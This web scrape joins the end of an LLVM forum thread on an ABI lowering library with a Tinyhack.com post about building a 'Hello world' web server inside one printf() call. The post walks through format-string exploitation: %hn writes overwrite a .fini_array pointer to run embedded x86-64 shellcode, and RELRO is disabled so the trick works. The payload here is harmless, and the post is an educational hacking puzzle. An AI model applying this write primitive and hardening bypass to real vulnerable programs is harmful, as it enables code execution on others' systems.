I’m afraid that that means it is doomed to never be more than a buggy re-implementation. The goal is to use this in Clang. I agree that we shouldn’t have a separate re-implementation. As for your suggestion to have per-target, specialized libraries instead: That sounds like something to explore if providing a unified, cross-target API fails. At this point, I’m not really convinced that it is going to fail though… 1 Like [LLVM] Introduce an ABI lowering library efriedma-quic March 28, 2025, 5:58pm 20 there are many parts that are not ABI relevant, such as anything related to templates If you’re suggesting that we only need to look at canonical types, the answer is no, we can’t do that. Non-canonical types are, unfortunately, relevant in weird ways due to the way we handle certain attributes. Maybe we can distill out some lowered representation, but what happens if the representation needs to change for some future target? Apart from bitfield layout – do you have any other examples that both a) introduce a non-trivial amount of additional complexity, and b) are unlikely to be relevant to non-clang frontends? There’s C++ constructs that are involved in both record layout and calling conventions. For example, C++ member operators can affect whether a value is passed by value in integer or floating-point registers. Maybe you can add some extension hooks to the API for the really weird bits… smuggle through the original clang QualType as a void* so the exotic edge cases can stay in clang. But that seems like it kind of ruins the point, if the “ABI lowering library” can’t actually handle the whole ABI. 1 Like next page → Related topics Topic Replies Views Activity [LLVM] Introduce an ABI lowering library GSoC gsoc2025 26 1854 April 8, 2025 Ideas about C calling convention lowering to LLVM IR LLVM Project 15 993 December 1, 2024 llvm-abi: A library for generating ABI-compliant LLVM IR LLVM Dev List Archives 10 325 July 1, 2015 CABI project LLVM Dev List Archives 10 180 August 20, 2013 [RFC] Introducing an explicit calling convention LLVM Dev List Archives 17 327 January 22, 2019 Home Categories Guidelines Terms of Service Privacy Policy Powered by Discourse , best viewed with JavaScript enabled | 2026-01-13T08:47:54 |
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/amp/ | Implementing a web server in a single printf() call – Tinyhack.com Tinyhack.com Implementing a web server in a single printf() call admin 12 years ago A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Categories: hacks Leave a Comment Tinyhack.com Back to top Exit mobile version | 2026-01-13T08:47:54 |
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